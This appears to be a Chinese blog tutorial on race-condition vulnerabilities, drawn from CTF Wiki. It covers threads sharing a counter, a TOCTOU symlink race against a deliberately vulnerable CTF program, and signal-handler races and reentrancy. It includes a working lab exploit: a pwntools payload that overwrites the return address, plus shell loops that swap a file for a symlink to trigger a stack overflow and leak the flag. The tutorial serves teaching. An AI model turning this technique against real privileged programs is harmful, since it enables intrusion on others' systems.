条件竞争

  • Post author:
  • Post category:其他




原理

条件竞争就是两个或者多个进程或者线程同时处理一个资源(全局变量,文件)产生非预想的执行效果,从而产生程序执行流的改变,从而达到攻击的目的。

条件竞争需要如下的条件:

  1. 并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
  2. 共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
  3. 改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。



条件竞争常见方法



线程、进程访问同一资源

给个例子:

#include <pthread.h>
#include <stdio.h>

int counter;
void *IncreaseCounter(void *args) {
  counter += 1;
  sleep(0.1); //Race window
  printf("Thread %d has counter value %d\n", (unsigned int)pthread_self(),
         counter);
}

int main() {
  pthread_t p[10];
  for (int i = 0; i < 10; ++i) {
    pthread_create(&p[i], NULL, IncreaseCounter, NULL);
  }
  for (int i = 0; i < 10; ++i) {
    pthread_join(p[i], NULL);
  }
  return 0;
}

创建10个线程,常理说应该线程应该按从小到大的顺序输出相应顺序的数字,但是由于counter是全局共享的资源,在race window的间隙里面可能多个线程对counter进行写、读操作,导致输出结果很难预料,如下:

005race_condition ./example1
Thread 1417475840 has counter value 2
Thread 1408755456 has counter value 2
Thread 1391314688 has counter value 8
Thread 1356433152 has counter value 8
Thread 1365153536 has counter value 8
Thread 1373873920 has counter value 8
Thread 1382594304 has counter value 8
Thread 1400035072 has counter value 8
Thread 1275066112 has counter value 9
Thread 1266345728 has counter value 10



Race Condition Enabling Link Following

原理是来源于文件两种不同命名方式

  • 文件路径名
  • 文件描述符

但是,将这两种命名解析到相应对象上的方式有所不同

文件路径名在解析的时候是通过传入的路径(文件名,硬链接,软连接)间接解析的,其传入的参数并不是相应文件的真实地址 (inode)。

文件描述符通过访问直接指向文件的指针来解析。

由于这种间接性,产生了时间竞争窗口race window,程序在访问某个文件之前,会检查是否存在,之后会打开文件然后执行操作。但是如果在检查之后,真正使用文件之前,攻击者将文件修改为某个符号链接,那么程序将访问错误的文件。

见下面的题目例子:

//gcc -o file file.c -fno-stack-protector 关闭canary
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
void showflag() { system("cat flag"); }
void vuln(char *file, char *buf) {
  int number;
  int index = 0;
  int fd = open(file, O_RDONLY);
  if (fd == -1) {
    perror("open file failed!!");
    return;
  }
  while (1) {
    number = read(fd, buf + index, 128);
    if (number <= 0) {
      break;
    }
    index += number;
  }
  buf[index + 1] = '\x00';
}
void check(char *file) {
  struct stat tmp;
  if (strcmp(file, "flag") == 0) {
    puts("file can not be flag!!");
    exit(0);
  }
  stat(file, &tmp);
  if (tmp.st_size > 255) {
    puts("file size is too large!!");
    exit(0);
  }
}
int main(int argc, char *argv[argc]) {
  char buf[256];
  if (argc == 2) {
    check(argv[1]);
    vuln(argv[1], buf);
  } else {
    puts("Usage ./prog <filename>");
  }
  return 0;
}

编译关闭pie、canary。

分析:

可以看出程序的基本流程如下

  • 检查传入的命令行参数是不是 “flag”,如果是的话,就退出。
  • 检查传入的命令行参数对应的文件大小是否大于 255,是的话,就直接退出。
  • 将命令行参数所对应的文件内容读入到 buf 中 ,buf 的大小为 256。

看似我们检查了文件的大小,同时 buf 的大小也可以满足对应的最大大小,但是这里存在一个条件竞争的问题。

如果我们在程序检查完对应的文件大小后,将对应的文件删除,并符号链接到另外一个更大的文件,那么程序所读入的内容就会更多,从而就会产生栈溢出。

程序提供了showflag函数,可以通过溢出,覆盖main函数的返回地址为showflag地址得到flag,运行生成攻击溢出的脚本:

➜  racetest cat payload.py 
from pwn import *
test = ELF('./test')
payload = 'a' * 0x100 + 'b' * 8 + p64(test.symbols['showflag'])
open('big', 'w').write(payload)
# 生成big文件用于替换原始文件

替换原始文件为更大文件(攻击文件big):

➜  racetest cat exp.sh    
#!/bin/sh
for i in `seq 500`
do
    cp small fake
    sleep 0.000008
    rm fake
    ln -s big fake
    rm fake
done
➜  racetest cat run.sh 
#!/bin/sh
for i in `seq 1000`
do
    ./file fake
done

在上面sleep(0.000008)间隙里面,有可能通过check的检查,链接fake文件为big文件,使读取文件内容超出最大范围,导致溢出。

在同目录生成一个flag文件,内容为:

flag{good-good}flag{good-good}flag{good-good}flag{good-good}flag{good-good}flag{good-good}

运行:

(sh exp.sh &) && sh run.sh


如下:

open file failed!!: No such file or directory
file size is too large!!
open file failed!!: No such file or directory
open file failed!!: No such file or directory
open file failed!!: No such file or directory
flag{good-good}flag{good-good}flag{good-good}flag{good-good}flag{good-good}flag{good-good}
Segmentation fault (core dumped)
open file failed!!: No such file or directory
file size is too large!!

关键在控制sleep的时间,过长导致替换失败,程序退出;过短有可能通不过check的检查。



Signal Handler Race Condition

条件竞争经常会发生在信号处理程序中,这是因为信号处理程序支持异步操作。尤其是当信号处理程序是

不可重入

的或者状态敏感的时候,攻击者可能通过利用信号处理程序中的条件竞争,可能可以达到拒绝服务攻击和代码执行的效果。比如说,如果在信号处理程序中执行了 free 操作,此时又来了一个信号,然后信号处理程序就会再次执行 free 操作,这时候就会出现 double free 的情况,再稍微操作一下,就可能可以达到任意地址写的效果了。

一般来说,与信号处理程序有关的常见的条件竞争情况有:

  1. 信号处理程序和普通的代码段共享全局变量和数据段。
  2. 在不同的信号处理程序中共享状态。
  3. 信号处理程序本身使用不可重入的函数,比如 malloc 和 free 。
  4. 一个信号处理函数处理多个信号,这可能会进而导致 use after free 和 double free 漏洞。
  5. 使用 setjmp 或者 longjmp 等机制来使得信号处理程序不能够返回原来的程序执行流。

不可重入函数可能导致条件竞争,可重入函数一定是线程安全的。



线程安全

即该函数可以被多个线程调用,而不会出现任何问题。

条件:

  • 本身没有任何共享资源
  • 有共享资源,需要加锁。



可重用

  • 一个函数可以被多个实例可以同时运行在相同的地址空间中。
  • 可重入函数可以被中断,并且其它代码在进入该函数时,不会丢失数据的完整性。所以可重入函数一定是线程安全的。
  • 可重入强调的是单个线程执行时,重新进入同一个子程序仍然是安全的。

不满足的条件:

  • 函数体内使用了静态数据结构,并且不是常量
  • 函数体内使用了 malloc 或者 free 函数
  • 函数使用了标准 IO 函数。
  • 调用的函数不是可重入的。

可重入函数使用的所有变量都保存在调用栈的当前函数栈(frame)上。



参考


CTFWIKI



版权声明:本文为qq_39153421原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。